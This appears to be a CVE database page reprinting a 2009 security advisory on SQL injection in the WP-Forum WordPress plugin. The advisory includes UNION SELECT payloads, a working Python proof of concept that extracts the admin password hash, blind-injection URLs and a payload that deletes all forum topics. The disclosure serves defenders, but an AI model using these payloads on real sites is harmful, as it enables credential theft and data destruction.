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Multiple SQL injection vulnerabilities in the WP-Forum plugin before 2.4 for WordPress allow remote attackers to execute arbitrary SQL commands via (1) the search_max parameter in a search action to the default URI, related to wpf.class.php; (2) the forum parameter to an unspecified component, related to wpf.class.php; (3) the topic parameter in a viewforum action to the default URI, related to the remove_topic function in wpf.class.php; or the id parameter in a (4) editpost or (5) viewtopic action to the default URI, related to wpf-post.php.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
0.99%
–
–
2022-03-13
–
–
0.99%
–
–
2022-04-03
–
–
0.99%
–
–
2022-05-29
–
–
0.99%
–
–
2022-08-14
–
–
0.99%
–
–
2022-11-13
–
–
0.99%
–
–
2022-11-20
–
–
0.99%
–
–
2022-11-27
–
–
0.99%
–
–
2023-03-05
–
–
0.99%
–
–
2023-03-12
–
–
–
0.07%
–
2023-09-17
–
–
–
0.07%
–
2023-09-24
–
–
–
0.07%
–
2023-10-01
–
–
–
0.07%
–
2023-12-03
–
–
–
0.07%
–
2023-12-17
–
–
–
0.07%
–
2024-01-07
–
–
–
0.07%
–
2024-04-07
–
–
–
0.07%
–
2024-06-02
–
–
–
0.07%
–
2024-07-21
–
–
–
0.07%
–
2024-08-04
–
–
–
0.07%
–
2024-08-11
–
–
–
0.07%
–
2024-11-17
–
–
–
0.07%
–
2025-01-26
–
–
–
0.07%
–
2025-01-19
–
–
–
0.07%
–
2025-01-25
–
–
–
0.07%
–
2025-03-18
–
–
–
–
0.6%
2025-03-30
–
–
–
–
0.6%
2025-04-15
–
–
–
–
0.6%
2025-04-15
–
–
–
–
0.6,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2009-12-15 23h00 +00:00 Author : Juan Galiana Lara EDB Verified : Yes
=============================================
INTERNET SECURITY AUDITORS ALERT 2009-010
- Original release date: September 28th, 2009
- Last revised: December 15th, 2009
- Discovered by: Juan Galiana Lara
- CVE ID: CVE-2009-3703
- Severity: 8.5/10 (CVSS Base Score)
=============================================
I. VULNERABILITY
-------------------------
WP-Forum <= 2.3 SQL Injection & Blind SQL Injection vulnerabilities
II. BACKGROUND
-------------------------
WP-Forum is a discussion forum plugin for WordPress. It works with
WordPress 2+ version and PHP >= 5.0
III. DESCRIPTION
-------------------------
WP-Forum fails to sanitized user supplied input and is vulnerable to
SQL Injection and Blind SQL Injection. An attacker can obtain any data
of the database including user logins and password's of the WordPress
installation, allowing him to obtain access to the application and
gain administration privileges.
For the SQL Injection vulnerability, is possible to concatenate other
sql requests via "union select" sentence. The parameters "search_max"
and "forum" are affected by this flaw.
Snippet of vulnerable code:
In wpf.class file:
1836 $option_max_days = $_POST['search_max']; // <- this
line is not being sanitized
1837 $option_forums = $_POST['forum'];
1838 if(!$option_max_days)
1839 $option_max_days = 9999;
1840 $op .= " AND $this->t_posts.`date` > SUBDATE(CURDATE(),
INTERVAL $option_max_days DAY) ";
1841
...
1850 foreach((array)$option_forums as $f)
1851 $a .= $f.","; // <- <- this lines is not being
sanitized
1852
1853 $a = substr($a, 0, strlen($a)-1 );
1854 if(!$a)
1855 $w = "";
1856 else
1857 $w = "IN($a)";
1858
1859 $sql = "SELECT $this->t_threads.parent_id as pt,
$this->t_posts.id, text, $this->t_posts.subject,
$this->t_posts.parent_id, $this->t_posts.`date`, MATCH ($what) AGAINST
('$search_string') AS score
1860 FROM $this->t_posts inner join $this->t_threads on
$this->t_posts.parent_id = $this->t_threads.id
1861 WHERE $this->t_threads.parent_id $w
1862 AND MATCH (text) AGAINST ('$search_string') $op";
In the case of the Blind SQL Injection, the vulnerable code is...
In wpf-post.php file:
57 $id = $_GET['id']; // <- $_GET['id'] is directly assigned
58 $thread = $this->check_parms($_GET['t']);
59
60 $out .= $this->header();
61
62 $post = $wpdb->get_row("SELECT * FROM $wpforum->t_posts WHERE
id = $id"); // <- id is used without clean up
other example:
1490 function remove_post(){
1491 global $user_level, $user_ID, $wpdb;
1492 $id = $_GET['id']; // <- $_GET['id'] is directly assigned
1493 $author = $wpdb->get_var("SELECT author_id from
$this->t_posts where id = $id"); // id is used without clean up
...
1503 if($del == "ok"){
1504 $wpdb->query("DELETE FROM $this->t_posts WHERE id
= $id"); <- // id is used without clean up
1505 $this->o .= "<div class='updated'>".__("Post
deleted", "wpforum")."</div>";
1506 }
1507 else
1508 wp_die(__("Cheating, are we?", "wpforum"));
1509
1510 }
the "id" parameter is vulnerable in other parts of the source code..
Also, is possible to delete all records in table $this->t_posts and
$this->t_threads because $_GET['topic'] is not properly sanitized,
injecting something like 1 or 1=1
1479 function remove_topic(){
1480 global $user_level, $user_ID, $wpdb;
1481 $topic = $_GET['topic'];
1482 if($this->is_moderator($user_ID, $this->current_forum)){
1483 $wpdb->query("DELETE FROM $this->t_posts WHERE
parent_id = $topic");
1484 $wpdb->query("DELETE FROM $this->t_threads WHERE
id = $topic");
1485 }
1486 else
1487 wp_die(__("Cheating, are we?", "wpforum"));
1488
1489 }
IV. PROOF OF CONCEPT
-------------------------
In the url: http://example.com/blog/?page_id=3&wpforumaction=search
replacing 'page_id=3' parameter with the number of the WP-Forum page
in each case
Is possible to obtain any data of the database. Here is a proof of
concept to obtain user_pass, user_login and user_email of the user
with id=1 of wp_users table (normally admin).
We have to fill the search_max parameter with the value:
9999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1
and subdate(curdate(), interval 9999
9999 DAY) union select 1,1,1,user_login,1,1,1 from wp_users where id=1
and subdate(curdate(), interval 9999
9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1
and subdate(curdate(), interval 9999
## Exploit-DB Note: Try using "999 DAY)" if 9999 doesn't work in your environment.
I wrote a PoC, to get automatically the password hash of the WordPress
admin account:
user () linuz:~$ cat wpforum2.3-poc.py
#!/usr/bin/python
# WP-Forum <= 2.3 SQL Injection PoC
# Juan Galiana Lara
# Internet Security Auditors
import urllib
import urllib2
import re
url = 'http://site//wordpress/?page_id=3&wpforumaction=search'
values = {'search_words' : 'any',
'search_submit' : 'Search',
'search_max' : '999 DAY) union select 1,1,1,user_pass,1,1,1
from wp_users where id=1 or SUBDATE(CURDATE(), INTERVAL 9999' }
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
output = response.read()
o = re.search('viewtopic.+>([$].+)<',output)
if o:
print o.group(1)
user () linuz:~$ python wpforum2.3-poc.py
$P$Bn8oMY.T3kHELf/lnn07L3HXgID4go/
user () linuz:~$
That's it!
For the blind sql injection, here are some examples:
http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=0&t=.0
http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=1&t=.0
http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=0
http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=1
http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=0
http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=1
Is possible to delete all topics, injecting sql code in "topic" parameter:
http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=1.0&delete_topic&topic=5%20or%201=1
V. BUSINESS IMPACT
-------------------------
Unauthenticated users can obtain or delete any data of the database.
This flaw could result in get access to WordPress accounts including
the administrator one.
VI. SYSTEMS AFFECTED
-------------------------
WP-Forum <= 2.3 are vulnerable.
VII. SOLUTION
-------------------------
Update to version 2.4.
VIII. REFERENCES
-------------------------
http://www.fahlstad.se/wp-plugins/wp-forum/
http://www.wordpress.org/
http://www.isecauditors.com/
IX. CREDITS
-------------------------
This vulnerability has been discovered by
Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
X. REVISION HISTORY
-------------------------
September 28, 2009: Initial release.
October 13, 2009: Review.
October 19, 2009: Added CVE id.
December 15, 2009: Last revision.
XI. DISCLOSURE TIMELINE
-------------------------
September 28, 2009: Vulnerability discovered
by Internet Security Auditors.
October 13, 2009: Sent to developers. No response.
December 13, 2009: Contact again. Response about its correction.
December 14, 2009: New version published.
December 15, 2009: Advisory released to lists.
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.